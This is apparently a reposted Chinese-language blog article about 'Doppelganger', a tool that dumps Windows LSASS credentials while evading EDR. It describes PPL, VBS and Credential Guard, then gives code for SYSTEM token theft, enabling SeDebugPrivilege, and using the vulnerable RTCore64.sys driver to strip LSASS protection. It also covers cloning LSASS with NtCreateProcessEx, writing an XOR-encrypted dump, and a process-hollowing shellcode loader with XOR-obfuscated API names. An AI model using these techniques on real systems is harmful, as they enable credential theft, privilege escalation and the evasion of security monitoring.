Doppelganger:克隆并转储 LSASS 以逃避检测

admin 2025年4月14日08:57:13评论19 views字数 16864阅读56分12秒阅读模式
Doppelganger:克隆并转储 LSASS 以逃避检测
Doppelganger:克隆并转储 LSASS 以逃避检测

什么是 LSASS?

本地安全机构子系统服务 (LSASS)是 Windows 操作系统的核心组件,负责在系统上强制执行安全策略。LSASS 是一个以以下身份运行lsass.exe并在以下方面发挥重要作用的进程

  • 用户身份验证验证登录系统的用户,并与 NTLM 和 Kerberos 等身份验证协议进行交互。

  • 凭证管理:它处理凭证材料(如密码哈希和 Kerberos 票证)的安全存储和检索。

  • 令牌生成:它创建 Windows 用于控制进程访问权限的访问令牌。

  • 安全审计:它有助于生成与身份验证和帐户登录事件相关的安全审计日志。

由于 LSASS 可以访问敏感数据,例如明文凭证(在某些配置中)、NTLM 哈希和 Kerberos 票证,因此它已成为攻击者在后期利用过程中的高价值目标。一旦攻击者获得系统的管理访问权限,转储 LSASS 进程的内存就可以获取其他帐户(包括域管理员)的凭证。

过去,人们曾使用 Mimikatz 等工具直接从 LSASS 中提取凭据。这促使微软和安全供应商针对 LSASS 实施了越来越严格的保护机制,包括隔离 LSASS、阻止通过受保护进程模式进行访问,以及引入基于虚拟化的保护措施(例如Credential Guard)。

尽管有这些防御措施,LSASS 仍然是许多进攻性安全策略的核心,这使其成为攻击者和防御者之间持续不断的猫捉老鼠游戏。

2025年放弃LSASS考试还有意义吗?

长期以来,转储 LSASS 一直是攻击者在 Windows 环境中寻求横向移动和权限提升的关键后利用技术。但到了 2025 年,随着现代 Windows 防御系统和功能日益强大的端点检测与响应 (EDR) 平台的出现,人们可能会问:是否仍然值得冒险?

简短的回答是:是的——但必须秘密进行。

进化的防御

近年来,微软大大强化了 LSASS:

  • 受保护的进程轻量级 (PPL):除非使用 Microsoft 信任的证书进行签名,否则甚至阻止 SYSTEM 级进程读取 LSASS 内存。

  • 基于虚拟化的安全性 (VBS):隔离安全关键组件,使传统的内存转储方法无效。

  • Credential Guard:在基于 Hyper-V 的隔离容器中运行部分 LSASS 功能,在许多情况下甚至使得内存访问尝试都徒劳无功。

  • Microsoft Defender 和 EDR 中的防篡改保护:主动监控访问或篡改 LSASS 的尝试,通常会终止违规进程或完全阻止该操作。

仍然具有相关性——采用正确的技术

procdump虽然像或这样的经典方法mimikatz sekurlsa::logonpasswords现在可能会失败或触发即时警报,但攻击者已经适应了:

  • 进程注入和挖空可以逃避静态签名检测。

  • 使用易受攻击的驱动程序进行内核级访问可以绕过用户模式保护。

  • 克隆 LSASS允许在副本上进行工作而不是受保护的原件,从而避免直接篡改。

这些技术与自定义 API 解析、内存执行和工件加密相结合,仍然允许威胁行为者和红队成员成功地从 LSASS 中提取凭据——即使在 PPL 或 VBS 下也是如此。

工具箱中的工具

现代红队不再仅仅依赖 LSASS 转储。凭证访问技术现在包括:

  • 令牌冒充和滥用特权服务帐户

  • Kerberoasting 和 AS-REP 烘焙

  • 滥用 LSA 机密和 DPAPI blob

  • 访问缓存的凭证和密码库

也就是说,成功的 LSASS 转储仍然可以提供一次高价值的访问权限- 并且可以直接获得域管理员凭据。

结论

在 2025 年转储 LSASS 并非过时,只是难度加大了。如果操作正确,它仍然是一种收集凭证的有效方法,但需要更先进的技术才能不被发现。这时,像Doppelganger这样的工具就派上用场了,它们利用进程克隆、混淆和内核级操作来保持领先于防御技术。

PPL、VBS 和 Credential Guard

要理解为何转储 LSASS 变得越来越困难,必须掌握微软推出的三大保护层:受保护进程轻量级 (PPL)、基于虚拟化的安全性 (VBS)和凭据保护 (Credential Guard )。这些机制协同工作,以锁定对敏感系统组件(尤其是 LSASS)的访问。

受保护过程 (PPL)

PPL是一项安全功能,旨在保护高价值进程免遭篡改,即使是以 SYSTEM 权限运行的其他进程也无法篡改。当 LSASS 等进程以 PPL 权限运行时,对其内存空间的访问会受到严格限制。只有受信任的、Microsoft 签名且具有特定保护级别的二进制文件才能对其进行读写操作。

PPL 使用不同的保护级别,LSASS 通常以PsProtectedSignerLsa-Light运行。这会限制以下进程的访问:

  • 由 Microsoft 使用特定证书签名,

  • 或者具有相同或更高的保护级别。

这意味着即使使用管理权限运行的工具(如procdump.exe)也无法访问 LSASS,除非它们经过正确签名和允许。

基于虚拟化的安全性 (VBS)

VBS利用硬件虚拟化技术(例如 Intel VT-x、AMD-V)将 Windows 操作系统的敏感部分与系统其他部分隔离。它创建了一个安全的虚拟化环境,称为虚拟安全模式 (VSM),用于托管高权限组件。

在 VSM 中,某些内存区域对于标准进程(即使是拥有提升权限的进程)来说也完全无法访问。VBS 可强制执行进程完整性,并使注入或篡改 LSASS 等系统进程变得困难。

启用 VBS 后,即使攻击者禁用 PPL,部分 LSASS 内存仍可能处于禁止状态。

凭证保护

Credential Guard构建于 VBS 之上,可将凭证材料(包括密码哈希、Kerberos 票证和 NTLM 机密)隔离在 VSM 内部。LSASS 仍在正常的操作系统空间中运行,但实际机密存储在安全容器中运行的进程“隔离 LSA”(LSAIso)中。

即使在 Credential Guard 下转储 LSASS 内存,您也无法检索实际凭据,而只是指向安全句柄的元数据或存根。

Credential Guard 还可以阻止:

  • 直接读取lsass.exe内存,

  • 使用本地机密进行传递哈希攻击,

  • 通过 Mimikatz 等工具检索纯文本密码。

  • 为什么这些保护措施很重要

对于防御者来说,PPL + VBS + Credential Guard 形成分层防御:

Protection Layer
Goal
PPL
防止对 LSASS 的内存访问
VBS
通过虚拟化强制内存隔离
Credential Guard
将机密信息移出攻击者可访问的内存

但对于红队成员和攻击者来说,这些都是难以突破的障碍。标准的内存转储工具会失效。因此,需要使用更高级的技术——例如克隆 LSASS、访问物理内存或使用易受攻击的驱动程序。

这些机制提高了凭证盗窃的门槛,但历史表明,防御永远无法阻止攻击,它只能减缓攻击的速度。

分身技术概述

Doppelganger是一款定制工具,旨在在现代严密防御的 Windows 环境中转储 LSASS,在这些环境中,传统的内存访问技术已不再有效。Doppelganger 并非直接攻击 LSASS,而是使用了一种高级策略:进程克隆。

通过利用原生 Windows 内部机制和精心设计的混淆技术,Doppelganger 可以:

  • 使用克隆 LSASS 进程NtCreateProcessEx,创建与目标几乎相同的副本。

  • 避免直接访问原始 LSASS ,这会触发 PPL 或 Credential Guard 等保护。

  • 通过易受攻击的驱动程序使用内核级访问RTCore64.sys来暂时删除进程保护,而不会导致系统崩溃或触发警报。

  • 使用 XOR 加密对生成的内存转储进行加密,以最大限度地减少检测并简化泄露。

  • 动态加载并混淆 API 函数,防止 EDR 和沙盒分析工具的静态检测。

  • 可选择作为内存中的 shellcode 执行,从而实现隐秘部署。

它为何有效

大多数安全解决方案专注于监控和保护 LSASS 进程本身。这包括:

  • 钩住周围OpenProcess并ReadProcessMemory。

  • 内核回调检测受保护进程的内存访问。

  • 当 LSASS 内存被转储时进行记录并发出警报。

但 Doppelganger从未触及原始 LSASS。

相反,它:

  1. 获得 SYSTEM 权限。

  2. 使用易受攻击的驱动程序在内存中查找并取消保护 LSASS。

  3. 使用未记录的系统调用克隆 LSASS。

  4. 转储克隆人的内存 —而不是原始人的内存。

  5. 恢复保护以避免伪影和检测。

这种方法巧妙地避开了大多数行为检测,因为如果操作得当,EDR 通常不会监控 LSASS 克隆的创建。除非设置了特定的 YARA 规则或启发式方法,否则它们也很少检查克隆进程的内存内容。

工具哲学

Doppelganger 并不依赖公开可用的工具或容易被识别的已知技术,而是从零开始构建,目的在于:

  • 绕过现代防御

  • 最小化检测表面

  • 全面控制流程的每个步骤

它的模块化结构和对隐身性的强调使其成为红队行动、恶意软件研究或传统转储方法失效的安全测试场景

项目结构

Doppelganger项目在构建时充分考虑了模块化、清晰性和隐蔽性。每个模块都封装了一项特定的任务,其目录结构的设计旨在将核心逻辑、实用程序和接口清晰地分开,以便于维护、测试和未来扩展。

这是实际的项目布局:

  1. Doppelganger
  2. ├───Doppelganger
  3. ├───include
  4. api.# API resolution logic
  5. api_strings.# XOR-encrypted API names and macros
  6. defs.# Common definitions, constants, macros, and XOR keys
  7. driver.# Kernel memory access routines via RTCore64.sys
  8. dump.# LSASS clone and dump interface
  9. logger.# Logging and debug output helpers
  10. memory.# Memory manipulation utilities
  11. offsets.# OS-specific structure offsets (e.g., EPROCESS.Protection)
  12. osinfo.# OS detection, KB parsing, build/version handling
  13. token.# Privilege escalation and SYSTEM token handling
  14. utils.# General-purpose helper functions
  15. └───src
  16. api.# Runtime API resolution using XOR-obfuscated names
  17. driver.# Interfacing with RTCore64.sys for kernel R/W
  18. dump.# Clone and dump LSASS, restore PPL protections
  19. logger.# Minimalistic logging system
  20. main.# Entry point for Doppelganger logic
  21. memory.# Memory reading/writing utilities, disable and restore PPL functions
  22. offsets.# Offset initialization for EPROCESS and other structs
  23. osinfo.# KB scanning, PsInitialSystemProcess resolution
  24. token.# Token impersonation and privilege manipulation
  25. utils.# Generic helpers (string ops, hex print, etc.)
  26. └───utils
  27.         decrypt_xor_dump.py # Decrypt XOR-encrypted LSASS dump for analysis
  28.         HollowReaper.# Shellcode loader using process hollowing
  29.         RTCore64.sys # Signed vulnerable driver used for kernel memory access

设计理念

  • 关注点分离:每个组件专注于一项特定的职责。例如,一个组件token.c负责处理权限提升和模拟,另一个组件则driver.c负责与 RTCore64.sys 通信的所有底层逻辑。

  • 可扩展性:可以干净地添加新功能(例如,支持另一个易受攻击的驱动程序或备用的 shellcode 加载器),而不会中断主工作流程。

  • 隐秘性和清晰度相结合:虽然该工具被设计为隐秘和躲避的,但对于了解 Windows 内部的人来说,源代码仍然很容易理解。

亮点

  • HollowReaper.c是一个可选实用程序,用于通过进程挖空将 Doppelganger 作为内存中的 shellcode 执行。

  • decrypt_xor_dump.py允许分析师使用 Pypykatz 等工具解密和检查内存转储。

  • offsets.c/.h动态地为目标系统选择正确的结构偏移量,从而实现与多个 Windows 版本的兼容性。

这种结构确保了Doppelganger 保持可维护性和可移植性,同时提供现代环境中红队行动所需的低级访问和隐身性。

Doppelganger 的工作原理

混淆 API 解析

Doppelganger的关键隐身机制之一是其对 Windows API 的动态和混淆解析。该工具不会静态链接到诸如OpenProcessNtCreateProcessEx或之类的函数MiniDumpWriteDump(这些函数很容易被 EDR 标记),而是在运行时使用 XOR 混淆字符串来解析它们。

该技术有多种用途:

  • 逃避静态检测(二进制文件中没有明文 API 名称)

  • 通过手动加载干净的 DLL 来避免挂钩

  • 通过延迟解决直到真正需要该功能时才降低行为可见性

XOR 混淆的 API 字符串

api_strings.h API 名称以字节数组形式存储在 中,并使用自定义密钥(例如)进行 XOR 加密XOR_KEY。以下是 的示例"Process32FirstW":

  1. staticconstunsignedchar P32F_ENC[] = {
  2.     0x60, 0x43, 0x5D, 0x50, 0x51, 0x46, 0x45, 0x04, 0x0A, 0x7F, 0x08, 0x10, 0x10, 0x10, 0x32
  3. };

这些在运行时使用简单的 XOR 例程解密:

  1. char* xor_decrypt_string(constunsignedchar* enc, size_t len, constchar* key, size_t key_len){
  2.     char* out = malloc(len + 1);
  3.     if (!out) returnNULL;
  4.     for (size_t i = 0; i < len; i++)
  5.         out[i] = enc[i] ^ key[i % key_len];
  6.     out[len] = '�';
  7.     return out;
  8. }

通过 CustomGetProcAddress 进行动态解析

解密后,使用自定义实现来解析 API 名称,该实现对GetProcAddress手动加载的干净 DLL进行操作(绕过安全产品引入的 IAT 挂钩):

  1. void* CustomGetProcAddress(HMODULE hModule, constchar* name);

这种方法避免使用默认值GetProcAddress,默认值可能会被 EDR 挂钩或被监控特定的 API 解析模式。

运行时解析包装器

为了封装逻辑,该工具使用单个函数来解析和分配 API:

  1. BOOL ResolveApiFromDll(HMODULE hMod, constunsignedchar* enc, size_t len, void** fn){
  2.     char* name = xor_decrypt_string(enc, len, XOR_KEY, key_len);
  3.     if (!name) return FALSE;
  4.     *fn = (void*)CustomGetProcAddress(hMod, name);
  5.     free(name);
  6.     return (*fn != NULL);
  7. }

此函数用于所有核心 Windows API(NTDLL、KERNEL32、ADVAPI32 等)以及未通过 Windows API 公开的系统调用。

清理 DLL 加载

为了避免调用可能被挂钩的 Windows API,Doppelganger使用自定义加载器从磁盘手动加载干净的 DLL :

  1. HMODULE LoadCleanDLL(constchar* dllName);

这可确保 DLL 内存区域不受 EDR 挂钩或用户模式回调的影响,从而提供更可靠的函数导出视图。

示例:解析MiniDumpWriteDump

MiniDumpWriteDump以下是解析和使用(DbgHelp)的实际使用片段:

  1. void* pMDWD = NULL;
  2. HMODULE hDbghelp = LoadCleanDLL("dbghelp.dll");
  3. ResolveApiFromDll(hDbghelp, MDWD_ENC, sizeof(MDWD_ENC), &pMDWD);
  4. // Call it later:
  5. pMDWD(hClone, pid, NULL, MiniDumpWithFullMemory, NULL, NULL, &mci);

通过结合运行时解析、XOR 混淆和干净的 DLL 加载,Doppelganger 可以在不提示依赖 API 挂钩或静态分析的安全工具的情况下运行。

代币操纵

在访问 LSASS 或与受保护的系统组件交互之前,Doppelganger 必须提升其权限。尽管它可能已经以管理员身份运行,但仅凭这一点还不够——大多数敏感操作都需要 SYSTEM 级令牌。

为了实现这一点,Doppelganger 会执行令牌模拟winlogon.exe,从受信任的系统进程(通常是或)借用 SYSTEM 令牌services.exe。这种技术避免了绕过用户帐户控制 (UAC) 或提升权限的漏洞,并且足够隐蔽,可以躲过大多数 EDR 的检测。

工作原理

  1. 枚举系统进程以找到合适的 SYSTEM 进程(例如winlogon.exe)。

  2. 以足够的权限打开其令牌。

  3. 使用复制令牌DuplicateTokenEx

  4. 使用模拟令牌SetThreadToken或通过 直接应用它ImpersonateLoggedOnUser

这授予 Doppelganger SYSTEM 级访问权限,而无需产生新进程,这有助于避免嘈杂行为。

代码片段:SYSTEM 令牌复制

  1. HANDLE hSystemToken = NULL;
  2. if (!GetSystemTokenAndDuplicate(&hSystemToken)) {
  3.     log_error("Failed to duplicate SYSTEM token.");
  4.     return1;
  5. }
  6. // Use the token to impersonate SYSTEM
  7. pIMP(hSystemToken); // ImpersonateLoggedOnUser
  8. pSTT(NULL, hSystemToken); // SetThreadToken

API ImpersonateLoggedOnUserSetThreadToken和的实际解析是通过混淆的 API 加载DuplicateTokenEx来处理的,如上一章所述。

启用 SeDebugPrivilege

在访问其他进程(例如 LSASS)之前,SeDebugPrivilege必须启用 。Doppelganger 使用其混淆的权限操作逻辑,以编程方式隐秘地完成此操作:

  1. BOOL EnableENCPVG(constchar* ENC_PRIV) {
  2.     HANDLE hProc = pGCP(); // GetCurrentProcess
  3.     HANDLE hToken = NULL;
  4.     DWORD flags = (0x75 ^ 0x55) | (0x5D ^ 0x55); // TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
  5.     if (!pOPTK(hProc, flags, &hToken)) returnFALSE;
  6.     BOOL result = EnablePrivilege(hToken, SE_DEBUG_ENC, sizeof(SE_DEBUG_ENC));
  7.     CloseHandle(hToken);
  8.     return result;
  9. }

这使用 XOR 加密字符串"SeDebugPrivilege"并避免许多 EDR 可见的可疑特权启用调用。

为什么这很重要

权限提升如果操作不当,风险极高。通过从现有进程借用 SYSTEM 令牌,Doppelganger 可以避免以下情况:

  • 创建新服务

  • 修改注册表项

  • 写入特权文件夹

这使得升级几乎不可见,并为与 LSASS(无论是否克隆)的安全交互奠定了基础。

禁用和恢复 PPL 保护

在现代 Windows 系统上访问 LSASS 内存,最大的障碍之一是受保护的轻量级进程 (PPL)。即使拥有 SYSTEM 权限,PPL 也会阻止任何进程(甚至是管理员)读取或写入受保护的进程,例如lsass.exe

在这里,Doppelganger 使用易受攻击的签名驱动程序RTCore64.sys——直接操纵内核内存,暂时从 LSASS 中删除 PPL 保护,以允许安全克隆和转储。

注意:此步骤在用户模式下完全不可见,并绕过所有传统的 Windows 安全检查。

步骤 1:加载 RTCore64.sys

RTCore64.sys是一个合法签名的 MSI Afterburner 驱动程序,存在通过 IOCTL 进行任意内核内存读写攻击的风险。Doppelganger 通过加载程序加载此驱动程序。

一旦获得驱动程序句柄,原始内存的读写就通过 IOCTL 完成。

步骤2:找到LSASS的EPROCESS

要移除保护,我们需要找到EPROCESSLSASS 的结构并修补该Protection字段。Doppelganger 的操作如下:

  1. PsInitialSystemProcess从已加载的副本中找到ntoskrnl.exe。

  2. 遍历ActiveProcessLinks双向链表,找到名称为的进程lsass.exe。

  3. 保存结构的地址EPROCESS以供修补。

遍历完全在内核内存中完成,使用易受攻击的驱动程序读取任意内存区域。

步骤3:修补保护字段

一旦EPROCESS找到 LSASS 的结构,该工具就会写入0x00字段Protection以禁用 PPL:

  1. // Remove PPL from LSASS
  2. WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 2, 0x00); // SignatureLevel
  3. WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 1, 0x00); // SectionSignatureLevel
  4. WriteMemoryPrimitive(Device, 1, eproc + offs.Protection, 0x00); // Protection

这实际上会在操作期间取消对 LSASS 的保护,从而允许复制和转储。

步骤 4:恢复原始保护

一旦创建了克隆并完成了转储,Doppelganger就会恢复原始的 PPL 值,以避免被监控进程篡改的安全解决方案发现和检测到:

  1. // Restore LSASS PPL protection
  2. WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 2, OriginalSigLv);
  3. WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 1, OriginalSecSigLv);
  4. WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection, OriginalProt);

这种级别的清理使得 Doppelganger 比大多数公共工具更加隐秘且更具法医意识。

为什么有效

大多数 EDR 监控用户模式进程访问和内存读取 API,但它们无法看到通过签名驱动程序完成的原始内核内存写入。

通过滥用受信任的驱动程序,Doppelganger会悄悄地翻转内存中的几个位,克隆 LSASS,然后将它们翻转回来——在大多数受监控的环境中留下最少的痕迹并且不会发出警报。

克隆 LSASS

Doppelganger背后的核心思想很简单但很强大: 不是攻击真正的 LSASS 进程,而是克隆它,然后攻击副本。

这种方法避免了与受保护的直接交互lsass.exe,绕过了大多数 EDR 保护、日志记录挂钩和内核级安全检查 - 因为您正在使用该进程的全新、未受监控的实例。

为什么要克隆 LSASS?

安全工具主要监控PID 为 500 左右的进程(lsass.exe)。但克隆的进程具有以下特点:

  • 无 PPL(除非明确给出),

  • 无 EDR 挂钩(新内存空间),

  • 一个新的 PID(因此它在启发式检测下运行),

  • 相同的内存内容(包括凭证、令牌、秘密)。

通过克隆 LSASS,您可以在您控制的进程中获得其内存的快照。

首选工具:NtCreateProcessEx

Doppelganger 使用未记录的系统调用NtCreateProcessEx来创建一个新进程,并将其lsass.exe作为父进程对象:

  1. NTSTATUS status = pNTCPX(
  2.     &hClone, // Output: Handle to cloned process
  3.     PROCESS_ALL_ACCESS, // Desired access
  4.     &objAttr, // Object attributes (can be NULL)
  5.     hLsass, // Parent process handle (real LSASS)
  6.     0, // Flags
  7.     NULL, NULL, NULL, // Sections (can be NULL for default clone)
  8.     FALSE                       // Inherit handles
  9. );

结果是:一个由 LSASS 克隆的新进程,其所有内存均被复制。

注意:这是一个真正的分支,而不是 的新实例lsass.exe。除非专门搜索,否则它不会出现在任务管理器或常规进程列表中。

克隆之前:删除 PPL

在克隆之前,Doppelganger 会使用上一章中的技术暂时从原始 LSASS 中移除 PPL 。否则,由于保护策略的原因,克隆NtCreateProcessEx过程将失败。STATUS_ACCESS_DENIED

克隆后:安全转储目标

克隆的 LSASS 进程:

  • 无需 PPL 即可运行。

  • 可以使用OpenProcessReadProcessMemory或进行访问MiniDumpWriteDump

  • 在克隆时具有与原始 LSASS相同的凭据数据。

这个克隆体成为转储内存的安全、隐秘的目标,而原始文件仍然不受影响、受到保护和监控——但无关紧要。

奖励:隐藏检测

克隆通常不会在 SCM 中注册,不会打开标准句柄,也不会监听网络端口。对于大多数监控工具来说,这只是一个随机过程,没有明显的入侵迹象——尤其是在转储文件被立即加密的情况下。

现在我们已经有了一个干净、隐秘的流程,并且拥有了我们想要的所有凭证,是时候提取货物了。

创建并加密 LSASS 转储

一旦 Doppelganger 克隆了 LSASS 进程,下一步就是以如下方式转储其内存:

  • 避免被 EDR 检测,

  • 如果发现转储,则无法立即进行法医分析,

  • 保持工具小巧且灵活。

为了实现这一点,Doppelganger 使用MiniDumpWriteDump创建克隆的 LSASS 进程的完整内存转储,然后使用 XOR 对其进行就地加密。

转储克隆的进程

此时,PPL 已被移除,克隆文件已存在,并且可以完全访问。Doppelganger 只需调用 dump 函数即可:

  1. BOOL dumped = pMDWD(
  2.     hClone, // Handle to cloned process
  3.     clonedPID, // Process ID
  4.     NULL, // File handle (can be NULL when dumping to memory)
  5.     MiniDumpWithFullMemory, // Dump type
  6.     NULL, NULL, &mci // Optional parameters. mci specifically is a callback that writes the dump in memory instead of on a file
  7. );

如果成功,这将生成一个原始的纯文本内存转储,其中包含凭证、Kerberos 票证、令牌句柄等。

XOR加密,实现隐身

Doppelganger 不会将转储直接以纯文本形式保存到磁盘(这会触发来自 Defender、EDR 或 AV 的警报),而是使用 XOR 在内存中对其进行加密,然后将加密的转储写入磁盘。

  1. // Encrypt memory dump
  2. xor_buffer(dumpBuffer, dumpSize, XOR_KEY, key_len);
  3. // Write encrypted dump to disk
  4. HANDLE hOut = CreateFileA("C:\Users\Public\doppelganger.dmp", ...);
  5. WriteFile(hOut, dumpBuffer, dumpSize, &written, NULL);
  6. CloseHandle(hOut);

这确保了:

  • 转储与已知的 LSASS 转储签名不匹配,

  • Defender、Sysmon 或 EDR 等工具无法检测已知的字节模式(例如,MZ标头、字符串工件),

  • 除非解密,否则取证工具无法分析转储。

解密与分析

为了方便稍后分析转储,我们提供了一个简单的 Python 脚本 ( decrypt_xor_dump.py)。该脚本使用相同的 XOR 密钥将.dmp文件解密为有效的 MiniDump:

  1. python decrypt_xor_dump.py C:WindowsPublicdoppelganger.dmp

解密后,Pypykatz等工具可以正常解析转储:

  1. pypykatzlsaminidumpdoppelganger.dmp.dec

HollowReaper – Advanced Process Hollowing

HollowReaper是一种先进的 shellcode 加载器,旨在在内存中运行Doppelganger ,使用隐秘且最小的进程挖空技术。

与篡改 PEB 或手动映射 PE 部分的传统反射加载器不同,HollowReaper 使用干净的 API 调用、直接部分映射和 RIP 重定向- 这种技术对于现代 EDR 来说不那么可疑。

我们不需要遍历 PEB、分配内存、编写 PE 并调用NtUnmapViewOfSection,而是使用:

  • VirtualAlloc类似行为NtCreateSection

  • 通过共享部分注入 Shellcode

  • RIP/EIP 重定向使用SetThreadContext

这种流程更简单、更隐蔽,并且避免了许多典型的检测触发。

高级步骤

  1. 产生一个暂停的进程

  2. 解密shellcode

  3. 创建共享分区

  4. 将 shellcode 映射到本地和远程进程

  5. 修改线程上下文(RIP)以跳转到shellcode

  6. 恢复线程并执行

1. 创建暂停进程

  1. wchar_t* exePathW = to_wide("C:\Windows\explorer.exe");
  2. STARTUPINFOW si = { 0 };
  3. PROCESS_INFORMATION pi = { 0 };
  4. si.cb = sizeof(si);
  5. if (!pCPW(exePathW, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
  6.     printf("[!] Failed to spawn process.n");
  7.     return1;
  8. }

该进程(例如explorer.exe, )以暂停方式svchost.exe启动,因此我们可以在它运行之前安全地对其进行修改。

2. XOR-Deobfuscate Shellcode

您的有效载荷( )使用Donut Doppelganger.exe编译为 shellcode ,然后进行 XOR 加密:

  1. unsignedchar shellcode_enc[] = { 0xD8, 0xF1, 0x45, 0x33, ... };
  2. size_t shellcode_len = sizeof(shellcode_enc);
  3. xor_decrypt_buffer(shellcode_enc, shellcode_len, XOR_KEY, key_len);

3.创建可执行部分

  1. HANDLE hSection = NULL;
  2. LARGE_INTEGER sectionSize = { 0 };
  3. sectionSize.QuadPart = shellcode_len;
  4. NTSTATUS status = pNCS(&hSection, SECTION_ALL_ACCESS, NULL, &sectionSize,
  5.     PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

这将创建一个具有 RWX 权限的内存部分对象。

4. 两个进程中的 Map 部分

  1. // Local mapping (for writing shellcode)
  2. PVOID localBase = NULL;
  3. SIZE_T viewSize = 0;
  4. pNMVOS(hSection, pGCP(), &localBase, 0, 0, NULL, &viewSize, 2, 0, PAGE_READWRITE); // NtMapViewOfSection
  5. memcpy(localBase, shellcode_enc, shellcode_len);
  6. // Remote mapping (for execution)
  7. PVOID remoteBase = NULL;
  8. viewSize = 0;
  9. pNMVOS(hSection, pi.hProcess, &remoteBase, 0, 0, NULL, &viewSize, 2, 0, PAGE_EXECUTE_READ); // NtMapViewOfSection

与使用 写入内存不同WriteProcessMemory,此技术不触及 PEB,并且避免通过 设置可疑的内存保护VirtualProtectEx

5. 修改线程上下文(RIP → shellcode)

  1. CONTEXT ctx;
  2. ctx.ContextFlags = CONTEXT_CONTROL;
  3. pGTC(pi.hThread, &ctx); // GetThreadContext
  4. #ifdef _WIN64
  5. ctx.Rip = (DWORD64)remoteBase;
  6. #else
  7. ctx.Eip = (DWORD)remoteBase;
  8. #endif
  9. // SetThreadContext
  10. pSTC(pi.hThread, &ctx);

这比 APC 注入更干净、更隐蔽CreateRemoteThread。你只是改变了线程恢复的位置。

6.恢复并执行

  1. // ResumeThread
  2. DWORD suspendCount = pRT(pi.hThread);
  3. printf("[+] Shellcode executing. Suspend count: %lun", suspendCount);

现在,shellcode 在合法进程内运行,没有可疑的内存分配、没有 DLL 映射,也没有 PE 占用空间。

为什么它更隐蔽

传统注射器
HollowReaper
通过以下方式写入远程内存WriteProcessMemory 用途NtMapViewOfSection
呼叫VirtualAllocExCreateRemoteThread 没有VirtualAllocEx,没有新帖子
将 PE 元数据留在内存中 纯shellcode
触摸或行走 PEB 根本不与 PEB 交互
经常留下 IAT 或可疑区域 使用映射内存,无需导入

API混淆

所有关键 API 均使用 XOR 加密名称动态解析,在运行时解密并通过以下方式解析CustomGetProcAddress()

  1. char* str = xor_decrypt_string(enc, len, XOR_KEY, key_len);
  2. void* fn = CustomGetProcAddress(hDLL, str);

加密名称示例CreateProcessW

  1. staticconstunsignedchar CPW_ENC[] = {
  2.     0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x66, 0x45, 0x57, 0x5A, 0x04, 0x11, 0x10, 0x33
  3. };

这确保了对 Windows API 的零静态引用。

概括

  • HollowReaper专为隐身和灵活性而设计:

  • 通过 Shellcode 在内存中执行 Doppelganger

  • 避免常见的注射危险信号

  • 不修改目标 PE 或线程堆栈

  • 可以扩展以运行任何具有 XOR 解密功能的 shellcode

  • 非常适合红队、恶意软件模拟和 EDR 绕过测试

限制

虽然Doppelganger是一款功能强大且隐蔽的工具,可用于在强化环境中转储 LSASS 内存,但由于现代 Windows 安全特性,它确实存在一些固有的局限性。了解这些局限性对于在红队测试、恶意软件模拟或安全研究期间设定正确的预期至关重要。

Credential Guard 可能仍会阻止一些秘密

即使 LSASS 被成功克隆,Credential Guard 也会使用基于虚拟化的安全性 (VBS)将最敏感的机密(例如纯文本凭据和 Kerberos TGT)隔离在安全容器 ( LSAIso.exe)内。

这意味着:

  • 克隆的 LSASS 可能不包含所有凭证材料。

  • 您可能只会检索元数据或票证句柄,而不是可用的机密。

  • Pypykatz 或 Mimikatz 等工具可能会返回空结果或部分数据。

TL;DR:如果 Credential Guard 处于活动状态,即使是完美的 LSASS 克隆也无法为您提供一切。

需要易受攻击的驱动程序 ( RTCore64.sys)

Doppelganger 依靠RTCore64.sys

  • 内核内存读/写

  • 在原始 LSASS 上禁用 PPL

这有其弊端:

  • 必须加载驱动程序(可能需要管理员或系统)

  • 该驱动程序已签名,但仍可能被现代 EDR 标记

  • 系统必须允许加载第三方驱动程序(例如,没有 HVCI 或安全启动阻止它)

如果没有驱动程序,PPL 删除将无法进行,并且克隆可能会失败。

Shellcode 加载器需要兼容 Donut 的有效载荷

HollowReaper加载器仅支持由 Donut 等工具(非托管 PE)生成的Shellcode 有效载荷.NET。如果有效载荷过大或 Shellcode 不安全,注入可能会失败。

需要特定于操作系统的偏移量

要找到 LSASS EPROCESS并修补该Protection字段,Doppelganger:

  • 手动加载ntoskrnl.exe

  • 定位PsInitialSystemProcess

  • 散步ActiveProcessLinks

结构偏移量(例如EPROCESS.Protection)因 Windows 版本/内部版本/补丁级别而异。该工具支持 Windows 10/11 的主要版本,但可能需要更新以适应较新的 KB。

仍然需要系统权限

尽管 Doppelganger 避免直接篡改 LSASS:

  • 它必须模拟或提升到系统权限,

  • 并加载内核驱动程序(一般需要Admin或者SYSTEM)。

如果您以低权限用户身份运行,那么您将无法取得太大进展。

转储仍然保留在磁盘上(除非修改)

默认情况下,Doppelganger 会将经过异或加密的转储写入文件(例如C:UsersPublicdoppelganger.dmp)。虽然加密了,但它仍然是一个物理实体,可以通过以下方式获取:

  • 文件完整性监视器

  • 取证工具

  • 磁盘扫描仪

您可以修改该工具以返回内存中的转储或通过 C2 将其提取出来,但这取决于操作员。

并非灵丹妙药

  • 一些 EDR 监控NtCreateProcessEx

  • 其他人检测到不寻常的线程修改自己的 RIP

  • 通过已知驱动程序篡改内核可能会引发危险信号

Doppelganger 会显著降低检测率,但并非无法检测到。即使经过精心调校,并具备行为启发式算法和内核监控功能的 EDR也可能抓到你。

TL;DR

局限性 影响
凭据保护已激活 部分/无凭证提取
需要 RTCore64.sys 需要驱动程序加载能力
需要 SYSTEM 权限 无法以低权限用户身份运行
特定于操作系统的偏移量 新版本可能需要更新
转储写入磁盘 留下神器(除非修改)
不防弹 仍可能被高级 EDR 捕获

结论

Doppelganger是一款现代、隐秘且模块化的实用程序,旨在在 2025 年抛弃 LSASS——届时传统技术将被 PPL、VBS、Credential Guard 和激进的 EDR 所阻止。

Doppelganger 并没有直接与受保护的 LSASS 进程对抗,而是采取了更智能的方法:

  • 使用以下方法克隆LSASS NtCreateProcessEx

  • 使用已签名的易受攻击的驱动程序通过直接内核内存写入暂时禁用 PPL

